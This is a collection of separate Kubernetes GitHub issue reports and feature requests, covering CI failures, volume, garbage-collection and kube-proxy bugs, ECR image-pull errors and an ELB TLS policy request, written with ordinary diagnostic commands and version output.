which jobs are failing  :\r    ci-kubernetes-verify-master \r    ci-kubernetes-verify-beta \r \r   which test s  are failing  :\r  verify.godeps \r \r   since when has it been failing  :\r 2019-03-07,  build 27262  https://prow.k8s.io/view/gcs/kubernetes-jenkins/logs/ci-kubernetes-verify-master/27262  in master,  build 4442  https://prow.k8s.io/view/gcs/kubernetes-jenkins/logs/ci-kubernetes-verify-beta/4442  in 1.14\r \r   testgrid link  :\r https://testgrid.k8s.io/sig-release-master-blocking verify-master\r \r  / /milestone v1.14\r \r cc @smourapina @alejandrox1 @kacole2 @mortent

the  fluentd-elasticsearch add-on  https://github.com/kubernetes/kubernetes/tree/master/cluster/addons/fluentd-elasticsearch  contains deployment files for elasticsearch and kibana, but does not appear to contain a deployment file for deploying the fluentd-elasticsearch image.\r \r it would be nice if a deployment file is included so that it's easy to bootstrap a cluster quickly.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  >  \r \r   what happened  :\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r 

daemonset upgrades and downgrades have been failing since 9/25.  \r \r dashboard: https://k8s-testgrid.appspot.com/sig-release-master-upgrade gce-new-master-upgrade-master\r \r sample failure: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-master/1803\r \r this test failure will block 1.13 beta, so please let's fix it before then.  thanks!\r \r   /

what happened  :\r say there's a cr named   mytest   and pod is the owner of the   mytest   object. \r if setting   apiversion/kind   to   mytest   by mistake and setting   name/uid   in ownerreferences correctly, kube-controller-manager wont' gc   mytest   object. but when restarting kube-controller-manager, it will gc   mytest   objects in some situations and in other situations it wont' gc   mytest   objects.\r \r the   mytest   object by mistake is like the following:\r \r    yaml\r apiversion: test/v1\r kind: mytest\r metadata:\r    ....\r    ownerreferences:\r    - apiversion: test/v1    it should be apiversion of pod\r      blockownerdeletion: true\r      controller: true\r      kind: mytest    it should be kind of pod\r      name: <pod name>\r      uid: <pod uid>\r    \r \r   what you expected to happen  :\r \r the gc behavior should be consistent in the following situations:\r - when kube-controller-manager is running, create   mytest   object and set its ownerreference to a pod but set   apiversion/kind   to   mytest   by mistake and setting   name/uid   correctly. kube-controller-manager should garbage collect   mytest   but in reality it didn't\r - when kube-controller-manager is restarting, the above   mytest   objects should be garbage collected or shouldn't be garbage collected determinately. in reality, the result is not determinate\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. create a crd\r 2. create a pod\r 3. create a cr object. set   apiversion/kind   to the cr's and set   name/uid   to the pod's.\r 4. observe whether the cr object could be garbage collected when kube-controller-manager is running\r 5. restart kube-controller-manager and observe whether cr object will be garbage collected  this situation may need to be repeated sometimes because the result is dependent on the completion order of pod/mytest in  concurrentuidtonode  https://github.com/kubernetes/kubernetes/blob/master/pkg/controller/garbagecollector/graph.go l159  \r \r   anything else we need to know?  :\r \r it may be better to use   <apiversion, kind, group, uid>   as the key of  uidtonode  https://github.com/kubernetes/kubernetes/blob/master/pkg/controller/garbagecollector/graph.go l161  to make the judgement condition of gc more consistent.\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.11.2\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r <!-- do not edit below this line -->\r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  : i tried to resize the pvc  azure managed disk  attached to the cassandra pod. i've changed the pvc request size, but the status of the pv has not been changed as described  here  https://kubernetes.io/blog/2018/07/12/resizing-persistent-volumes-using-kubernetes/ \r \r when i describe that pvc it displays the next error:\r   warning    volumeresizefailed  94s                    volume_expand  error expanding volume \ default/data-cassandra-0\  of plugin \ kubernetes.io/azure-disk\ : compute.disksclient createorupdate: failure sending request: statuscode=0 -- original error: autorest/azure: service returned an error. status=<nil> code=\ operationnotallowed\  message=\ cannot resize disk xxx-dynamic-pvc-9f8bbc25-44ac-11e9-9d65-000d3a4895ba while it is attached to running vm /subscriptions/xxx/resourcegroups/xxx/providers/microsoft.compute/virtualmachines/xxx1-1.\ \r mounted by:  cassandra-0 \r \r   what you expected to happen  :\r pv status change to filesystemresizepending \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.4\ , gitcommit:\ c27b913fddd1a6c480c229191a087698aa92f0b1\ , gittreestate:\ clean\ , builddate:\ 2019-02-28t13:37:52z\ , goversion:\ go1.11.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.4\ , gitcommit:\ c27b913fddd1a6c480c229191a087698aa92f0b1\ , gittreestate:\ clean\ , builddate:\ 2019-02-28t13:30:26z\ , goversion:\ go1.11.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r - os  e.g:  cat /etc/os-release  :\r - kernel  e.g.  uname -a  :\r  linux dev-plus1connect-k8s-master-0 4.19.25-coreos  1 smp tue feb 26 00:07:03 -00 2019 x86_64 intel r  xeon r  cpu e5-2673 v4 @ 2.30ghz genuineintel gnu/linux \r - install tools:\r  terraform \r - others:\r

on some systems, iptables-save outputs the following warning to stderr: \r    \r   warning: iptables-legacy tables present, use iptables-legacy-save to see them\r    \r \r note that the error message includes a newline. \r \r because kube-proxy captures both stdout and stderr when calling  iptables-save , the newline might cause rules to be garbled. for example, the output might contain the following line:\r    \r :8443\r    \r \r the parser treats this as a chain line, and panics, as predicted in https://github.com/kubernetes/kubernetes/blob/master/pkg/util/iptables/save_restore.go l62-l63\r

hi !   from the testing i did, it seems that the fabric8 events   api doesn't properly filter events. the program below illustrates  the problem. if you run it as \ as shipped\ , you will see output that includes logged statements from the eventreceived   callback of the form:       event => modified: event ...          involvedobject=             objectreference apiversion=v1, fieldpath=null, kind=pod, name=nginx-mysql... etc.       test program      import com.fasterxml.jackson.databind.objectmapper import com.typesafe.scalalogging.strictlogging import io.fabric8.kubernetes.api.model.{replicationcontroller, event, namespace} import io.fabric8.kubernetes.client.watcher.action import io.fabric8.kubernetes.client._ import scala.collection.javaconverters._  object labeltest  extends app with strictlogging {    val k8surl = \ http://localhost:8080\    val namespacename = \ oooboxfoo100\     def go  : unit = {     val kube: kubernetesclient = getconnection      createeventwatch kube      thread.sleep 2   1000        val retval: namespace = kube.namespaces  .createnew         .withapiversion \ v1\         .withnewmetadata         .withname namespacename        .withlabels map \ animal\  -> \ dog\  .asjava        .endmetadata         .done        kube.replicationcontrollers  .innamespace namespacename .create getrc       thread.sleep 20   1000    }    def getconnection = {     val configbuilder =   new configbuilder       val config =       configbuilder.         withmasterurl k8surl .         build       new defaultkubernetesclient config    }    def createeventwatch kube: kubernetesclient  = {     getconnection.       events  .       inanynamespace  .       //withlabel \ animal\ , \ dog\  .         // please uncomment this to reproduce bug.       watch geteventreceivedhandler        def geteventreceivedhandler: watcher event  = {       new watcher event    {         override def eventreceived action: action, resource: event  {           logger.info \ event => {}: {}\ , action, resource            logger.info \ event recv'd\           }          override def onclose e: kubernetesclientexception  {           if  e != null  {             logger.error \ improper close of k8s event watcher\ , e            } else {             logger.error \ improper close of k8s event watcher\             }         }       }     }   }   def getrc: replicationcontroller = {      val jsontemplate =        \ \ \       |{      |  \ kind\ : \ replicationcontroller\ ,      |  \ apiversion\ : \ v1\ ,      |  \ metadata\ : {      |    \ name\ : \ spark-master-rc\ ,      |    \ labels\ : {      |      \ name\ : \ spark-master\ ,      |      \ animal\ : \ dog\       |    }      |  },      |  \ spec\ : {      |    \ replicas\ : 1,      |    \ selector\ : {      |      \ name\ : \ spark-master\       |    },      |    \ template\ : {      |      \ metadata\ : {      |        \ labels\ : {      |          \ name\ : \ spark-master\       |        }      |      },      |      \ spec\ : {      |        \ containers\ :        |          {      |            \ name\ : \ spark-master\ ,      |            \ image\ : \ redis\ ,      |            \ imagepullpolicy\ : \ always\ ,      |            \ metadata\ : {      |              \ name\ : \ spark-master-rc\ ,      |              \ labels\ : {      |              \ name\ : \ spark-master\ ,      |              \ animal\ : \ dog\       |              }      |            },      |            \ ports\ :        |              {      |                \ containerport\ : 7077      |              },      |              {      |                \ containerport\ : 8080      |              }      |             ,      |            \ resources\ : {      |              \ resources\ : {      |                \ cpu\ : \ 2000m\ ,      |                \ memory\ : \ 4gi\       |              },      |              \ limits\ : {      |                \ cpu\ : \ 2000m\ ,      |                \ memory\ : \ 4gi\       |              }      |            }      |          }      |               |      }      |    }      |  }      |}        \ \ \ .      stripmargin      system.out.println \ json:\  + jsontemplate ;      new objectmapper  .readvalue jsontemplate, classof replicationcontroller      }    go   }         however, if you uncomment the line labeled as \  please uncomment this to reproduce bug. \ , you will no longer  see that output  it seems the callback never triggers, even though the newly added namespace and rep controller  clearly have labels that matched the selector.

i am running into a problem with the cinder plugin when running kubernetes inside docker using the kube-deploy/docker-multinode project  i modified the worker and master scripts of the latter project such that: - --cloud-provider and --cloud-config options are added to the hyperkube  command - i mount a host dir with the cloud_config file into the kubelet container  with the -v option          <skip> common.sh   -v /home/ubuntu/containers_on_openstack/openstack-integration/hyperkube:/openstack \\          ${registry}/hyperkube:v${k8s_version} \\         /hyperkube kubelet \\              ....                --cloud-provider=openstack \\             --cloud-config=/openstack/cloud_config \\              ....             --v=2      the cinder plugin of kubernetes  for attaching openstack cinder volumes   attaches a volume successfully and then tries to find the corresponding device. however the cinder plugin can't find this device by disk-id:      i0730 18:28:18.370114    2300 openstack.go:984  successfully attached 06b25a7b-7c99-4eee-9ab0-98a6c78676a1 volume to 7f07a3d7-1fc9-487f-84b7-c044c1dd5382 compute w0730 18:28:18.370511    2300 cinder_util.go:103  failed to find device for the diskid: \ 06b25a7b-7c99-4eee-9ab0-98a6c78676a1\  e0730 18:28:18.378081    2300 cinder_util.go:169  error running udevadm trigger fork/exec /usr/bin/udevadm: no such file or directory      the last log entry shows a failure to run  udevadm trigger fork/exec /usr/bin/udevadm . i tried to run this command from within a bash session inside the kubelet container and then got as error:   extraneous argument: 'fork/exec'   how can i solve this?  thanks for any advice

this is just my opinion, but i think kubelet should fail if it doesn't have a supported version of docker.  i went on and upgraded kubelet to 1.3.4 on a coreos 899.17 and kubelet happily reported it was running, so i thought all was fine, and upgraded other machines, only to realize my pods died after a few minutes... looking at the logs i see kubelet could not find docker 1.10+ and just wasn't running properly.  that's a pretty important dependency to be missing, so i am not sure why kubelet should be running if it doesn't have it; imho it should terminate fatally so it's clear right away that it won't work on the given machine.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : taint case lowercase\r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r client: 1.4.3\r server: 1.5.1\r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release : ubuntu 16.04\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r  kubectl taint nodes <node> egress=disabled:noschedule \r  kubectl get node <node> --output yaml \r the annotation was:\r    \r scheduler.alpha.kubernetes.io/taints: ' {\ key\ :\ egress\ ,\ value\ :\ disabled\ ,\ effect\ :\ noschedule\ } '\r    \r \r   what you expected to happen  :\r  key   value  and  effect  should be lower case  kube 1.4 behavior \r \r   how to reproduce it    as minimally and precisely as possible :\r 1. launch kube 1.5.1 cluster\r 2. kubectl taint nodes <node> egress=disabled:noschedule\r vs.\r 1. launch kube 1.4.6 cluster\r 2. kubectl taint nodes <node> egress=disabled:noschedule\r \r   anything else do we need to know  :\r   @liggitt \r   relevant commit: https://github.com/kubernetes/kubernetes/commit/d5afb71cf45b21ff7a9bd8faf325870b54510e64\r   previous state: https://github.com/kubernetes/kubernetes/blob/master/docs/design/taint-toleration-dedicated.md api\r \r \r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :  logs grep label:area/kubectl \r \r ---\r \r   is this a bug report or feature request?    choose one : feature request\r \r ---\r \r container logs can get very long, especially if it's some sort of api that logs every request to it. when the connection between my workstation and the k8s cluster is slow or flaky, it can take a long time to do something like  kubectl logs $pod_name | grep error . can we add some basic server-side filtering here? i would imagine something like  kubectl logs $pod_name --match-string=error , which only sends matching lines to the client, thus appearing much more snappy over a slow network.

feature request\r @kubernetes/sig-cli-feature-requests\r \r when running    kubectl proxy    in the cli, i receive the response    starting to serve on 127.0.0.1:8001   . when i copy and paste that into the browser i get a list of paths. \r \r the path that i am typically most interested in is the path to the ui. in user testing, i have seen new kubernetes users, who would like to see the ui, stumble at this point. \r \r if the response to    kubectl proxy    was modified to the following, fewer users would get tripped up trying to access the dashboard ui: \r    starting to serve on 127.0.0.1:8001    \r    view the dashboard ui at http://127.0.0.1:8001/ui   \r

in a pod with two containers, how would you isolate one of the container from the network  except maybe for some whitelist ? i don't have apparmor available so i can't set a custom profile to the container and i'm not sure how i could to this with selinux + iptables. going for '--net=none' could be a start but i don't know how to set this in the manifest files.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r i have a brand new kubernetes v1.7.6 master controller.\r \r nodes are able to join, and nodes that are labeled to receive pods from deployments that use public container repositories work fine  i.e. prometheus etc. .\r \r nodes that are labeled to receive pods from deployments that use our containers in the aws ecr generate the following error when described by kubectl:\r \r failed to pull image \ image_and_tag_redacted_but_it_is_accurate\  : rpc error: code = 2 desc = unauthorized: authentication required\r \r   what you expected to happen  :\r i would expect the image to be pulled from the ecr and the container/pod to start.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. deploy a kubernetes master controller with kubeadm.\r 2. edit the manifest for the controller and api services to include \ --cloud-provider=aws\ \r 3. create a valid docker image and push to a valid ecr repository.\r 4. create a valid iam policy and attach it to the node for the master controller and one other node that will be a minion.\r 5. create a valid deployment that references the ecr image and apply it to the master controller, with the correct labels to insure that it is assigned to the minion node.\r 6. observe the output of \ kubectl describe deployment  deployment_name \ \r \r   anything else we need to know?  :\r here is the json for my iam policy, which is the same and has not been modified since it worked very well with kubernetes v1.6.3\r \r { \ version\ : \ 2012-10-17\ , \ statement\ :   { \ effect\ : \ allow\ , \ action\ :   \ ecr:getauthorizationtoken\ , \ ecr:batchchecklayeravailability\ , \ ecr:getdownloadurlforlayer\ , \ ecr:getrepositorypolicy\ , \ ecr:describerepositories\ , \ ecr:listimages\ , \ ecr:describeimages\ , \ ecr:batchgetimage\   , \ resource\ : \  \  }   }\r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.6\ , gitcommit:\ 4bc5e7f9a6c25dc4c03d4d656f2cefd21540e28c\ , gittreestate:\ clean\ , builddate:\ 2017-09-15t08:51:21z\ , goversion:\ go1.9\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.6\ , gitcommit:\ 4bc5e7f9a6c25dc4c03d4d656f2cefd21540e28c\ , gittreestate:\ clean\ , builddate:\ 2017-09-14t06:36:08z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration  :\r \r aws ec2 and ecr\r \r - os  e.g. from /etc/os-release :\r \r master controller:\r \r name=\ ubuntu\ \r version=\ 16.04.3 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.3 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r \r minion node:\r \r name=\ ubuntu\ \r version=\ 16.04.2 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.2 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r \r \r - kernel  e.g.  uname -a  :\r \r uname -a on my node is:\r \r linux ip-x-x-x-x 4.4.0-1022-aws  31-ubuntu smp tue jun 27 11:27:55 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r \r uname -a on my master controller is:\r \r linux ip-x-x-x-x 4.4.0-96-generic  119-ubuntu smp tue sep 12 14:59:54 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:\r \r kubeadm\r \r - others:\r \r \r i am believing this is a bug, as at this point the help i have received on slack and so has not yielded a solution.  i hope it is not, but i am at a loss at how to proceed.  thank you to anyone who takes to the time to review and respond to this issue.\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r  \r the  allowedtopologies  field essentially has the type  set  map string, set string    , but currently there is no validation for set and map semantics, i.e. unique elements / keys.\r \r having this validation at api level removes logic to validate at the volume plugin level.\r \r ~~in addition, validation will reject empty sets and empty maps.~~\r edit: this check will not be added in cases where this makes it difficult to add other fields and make this field optional.\r \r  

what happened  :\r unable to use portworx readwritemany volumes when selinux is enabled.\r \r currently portworx volumes have the following attributes set\r https://github.com/kubernetes/kubernetes/blob/e5964b3fcc60e81b0fa90321933ac959ecb3771d/pkg/volume/portworx/portworx.go l275\r \r as  supportsselinux  is set kubelet adds a  -z  flag to the mountpoint. this causes the shared volume to be inaccessible inside the application pod.\r \r the correct setting should be similar to the nfs volume plugin as seen here \r \r https://github.com/kubernetes/kubernetes/blob/e5964b3fcc60e81b0fa90321933ac959ecb3771d/pkg/volume/nfs/nfs.go l223-l229\r \r   what you expected to happen  :\r a pod should be able to use portworx readwritemany volumes when selinux is enabled.\r \r   anything else we need to know?  :\r \r i have opened a pr to flip the supportsselinux flag - https://github.com/kubernetes/kubernetes/pull/58646\r \r   /assign\r \r

is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r after running some tests, we're seeing that the combined usage of kubelet + docker can be around 2gi. we need to be able to account for this in scheduling to avoid crashing these services. the first step towards this is using kube-reserved and system-reserved to avoid oversubscribing the virtual memory space available on the windows nodes with too many containers.\r \r \r   what you expected to happen  :\r \r it should reduce node allocatable memory by kube-reserved + system-reserved.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r  kubelet.exe … --enforce-node-allocatable=kube-reserved --kube-reserved=memory=2gi \r  kubelet.exe … --enforce-node-allocatable=system-reserved --system-reserved=memory=2gi \r \r this logs an error in the kubelet log such as:\r \r    \r flag --kube-reserved has been deprecated, this parameter should be set via the config file specified by the kubelet's --config flag. see https://kubernetes.io/docs/tasks/administer-cluster/kubelet-config-file/ for more information.\r f1017 17:21:13.974464   77496 server.go:207   invalid configuration: enforcenodeallocatable  --enforce-node-allocatable  is not supported unless cgroupsperqos  --cgroups-per-qos  feature is turned on, invalid configuration: enforcenodeallocatable  --enforce-node-allocatable   kube-reserved  is not supported on windows \r    \r \r \r code: \r https://github.com/kubernetes/kubernetes/blob/688550b2d34b20474f98c0c967bd846042141182/pkg/kubelet/apis/config/validation/validation_windows.go l37\r \r   anything else we need to know?  :\r /milestone v1.13\r /assign feiskyer\r  \r this blocks a pr where i want to set it by default to 2gi https://github.com/azure/acs-engine/pull/3999\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.11.3  also v1.12 \r - cloud provider or hardware configuration: azure\r - os  e.g. from /etc/os-release : windows server version 1803\r - install tools: acs-engine\r \r

testgrid: https://k8s-testgrid.appspot.com/sig-release-master-upgrade gce-new-master-upgrade-cluster\r \r examples: https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-cluster/2570\r https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-cluster/2560\r \r the error message differs, but all seems to be around problems with connecting to the master. this has failed three times in the last week.\r \r   /

feature request?    kubernetes version    use  kubectl version  : 1.5.0-alpha    environment  : -   cloud provider or hardware configuration  : -   os    e.g. from /etc/os-release : -   kernel    e.g.  uname -a  : -   install tools  : -   others  :    what happened  :  i found a todo here:  https://github.com/kubernetes/kubernetes/blob/master/cmd/kubelet/app/server.go l300  which says that kubelet should have a flag --standalone in order to determine it's running in standalone mode.    what you expected to happen  :  i would like to work on this improvement. as i imagine i should add a flag to kubelet/app/options/options.go which is named standalone and i should add standalone field to componentconfig.kubeletconfiguration. the field should be populated from https://github.com/kubernetes/kubernetes/blob/master/cmd/kubelet/app/server.go l300 command line and then used here instead of calculating the mode: https://github.com/kubernetes/kubernetes/blob/master/cmd/kubelet/app/server.go l300  please let me know if you think this would be useful or maybe it makes more sense to just remove the todo.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-serial/43/  failed:  k8s.io  network partition  disruptive   slow   k8s.io   replicationcontroller  should eagerly create replacement pod during network partition when termination grace is non-zero {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network_partition.go:359 nov 25 01:50:18.071: node gke-bootstrap-e2e-default-pool-3dd2292e-u5qh did not become ready within 2m0s /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network_partition.go:357

\r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r  aws elb security policy \r \r ---\r \r   is this a bug report or feature request?    choose one :   feature request  \r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.4\ , gitcommit:\ 7243c69eb523aa4377bce883e7c0dd76b84709a1\ , gittreestate:\ clean\ , builddate:\ 2017-03-07t23:53:09z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.4+coreos.0\ , gitcommit:\ 97c11b097b1a2b194f1eddca8ce5468fcc83331c\ , gittreestate:\ clean\ , builddate:\ 2017-03-08t23:54:21z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  :   aws  \r -   os    e.g. from /etc/os-release :\r    \r $ cat /etc/os-release\r name=\ container linux by coreos\ \r id=coreos\r version=1298.5.0\r version_id=1298.5.0\r build_id=2017-02-28-0013\r pretty_name=\ container linux by coreos 1298.5.0  ladybug \ \r ansi_color=\ 38;5;75\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://github.com/coreos/bugs/issues\ \r    \r -   kernel    e.g.  uname -a  :\r    \r $ uname -a\r linux ip-10-4-22-250.us-west-2.compute.internal 4.9.9-coreos-r1  1 smp tue feb 28 00:06:10 utc 2017 x86_64 intel r  xeon r  cpu e5-2676 v3 @ 2.40ghz genuineintel gnu/linux\r    \r -   install tools  :   aws cloudformation  \r -   others  :\r \r \r   what happened  : default aws elb security policy at the moment is  2016-08 . this policy is not pci-dss compliant, as it allows protocols tls 1.0 and tls 1.1. therefore, all elastic load balancers, created by kubernetes, are not pci-dss compliant. aws has a  predefined policiy  http://docs.aws.amazon.com/elasticloadbalancing/latest/classic/elb-security-policy-table.html  for elbs:  tls-1-2-2017-01 , who does not allow tls versions 1.0 and 1.1. however, there is no way to make this policy default.\r \r   what you expected to happen  : i would like to be able to use annotations for specifying a given security policy, so that new elbs created by loadbalancer type services, would have the specified security policy. the annotation could be named  service.beta.kubernetes.io/aws-load-balancer-security-policy .\r \r \r   how to reproduce it    as minimally and precisely as possible : example of a service config with  service.beta.kubernetes.io/aws-load-balancer-security-policy  annotation:\r    \r apiversion: v1\r kind: service\r metadata:\r   name: app\r   annotations: {\r     \ service.beta.kubernetes.io/aws-load-balancer-ssl-cert\ : \ arn:aws:acm:us-east-1:xxxxxxxxxx:certificate/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxx\ ,\r     \ service.beta.kubernetes.io/aws-load-balancer-backend-protocol\ : \ http\ ,\r     \ service.beta.kubernetes.io/aws-load-balancer-ssl-ports\ : \ 443\ ,\r     \ service.beta.kubernetes.io/aws-load-balancer-security-policy\ : \ elbsecuritypolicy-tls-1-2-2017-01\ \r   }\r spec:\r   ports:\r   - name: http\r     port: 80\r     protocol: tcp\r     targetport: 3005\r   - name: https\r     port: 443\r     protocol: tcp\r     targetport: 3005\r   selector:\r     app: app\r   type: loadbalancer\r    \r \r   anything else we need to know  :\r \r

we've been seeing these failures continuously in kubemark-5000 for quite some now - https://k8s-testgrid.appspot.com/sig-scalability kubemark-5000\r even in kubemark-500 we're occasionally seeing flakes - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-kubemark-500-gce/8806\r \r on first look i'm seeing that hollow-nodes are going pending during test namespace deletion:\r \r    \r i1002 02:45:51.134  oct  2 02:45:51.134: info: pod                     node               phase    grace  conditions\r i1002 02:45:51.135  oct  2 02:45:51.134: info: load-small-14408-4r45s  hollow-node-lmblz  pending  1s      {initialized true 0001-01-01 00:00:00 +0000 utc 2017-10-01 20:26:46 +0000 utc  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-10-01 20:26:46 +0000 utc containersnotready containers with unready status:  load-small-14408 } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-10-01 20:26:46 +0000 utc  } \r i1002 02:45:51.135  oct  2 02:45:51.134: info: load-small-14408-q8tfd  hollow-node-lm9c4  pending  1s      {initialized true 0001-01-01 00:00:00 +0000 utc 2017-10-01 20:26:46 +0000 utc  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-10-01 20:26:46 +0000 utc containersnotready containers with unready status:  load-small-14408 } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-10-01 20:26:46 +0000 utc  } \r    \r \r digging into it now. sorry for the delay, i've been busy with release scalability validation.\r \r cc @kubernetes/sig-scalability-bugs @wojtek-t @gmarek

 \r   what happened  :\r pull-kubernetes-cross complains:\r \r    \r i1114 12:00:06.369  +++  1114 11:58:58  windows/amd64: go build started\r i1114 12:00:06.369    k8s.io/kubernetes/pkg/kubelet\r i1114 12:00:06.370  pkg/kubelet/volume_host.go:144:9: undefined: \ k8s.io/kubernetes/pkg/util/mount\ .newexecmounter\r    \r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/54300/pull-kubernetes-cross/5234/\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r    /assign\r \r   what happened  :\r the scheduler volume binder keeps a cache of pv matches per pod to pass from the volume binding predicate to the assume volume function.\r \r there are two race conditions where pod update/delete can come while we are processing the pod in scheduleone.  to handle these 2 races, there are two calls to  factory.volumebinder.deletepodbindings pod   in  makedefaulterrorfunc  for very specific scenarios.  we should see if there's a simpler or more generic way to handle these race conditions.\r \r we also have to handle the scenario where the volume binding predicate passes, but other predicates fail, causing scheduling to fail.  we don't want to clear the pod binding cache in that case because the volume binding predicate result got cached in the equivalence cache, and won't be run again.  therefore, the pod binding cache will be empty when it comes to assume volume.\r \r one possible way to handle this could be to search again for the matching volumes in assumepodvolumes if the pod binding cache is empty but some volumes need binding.\r

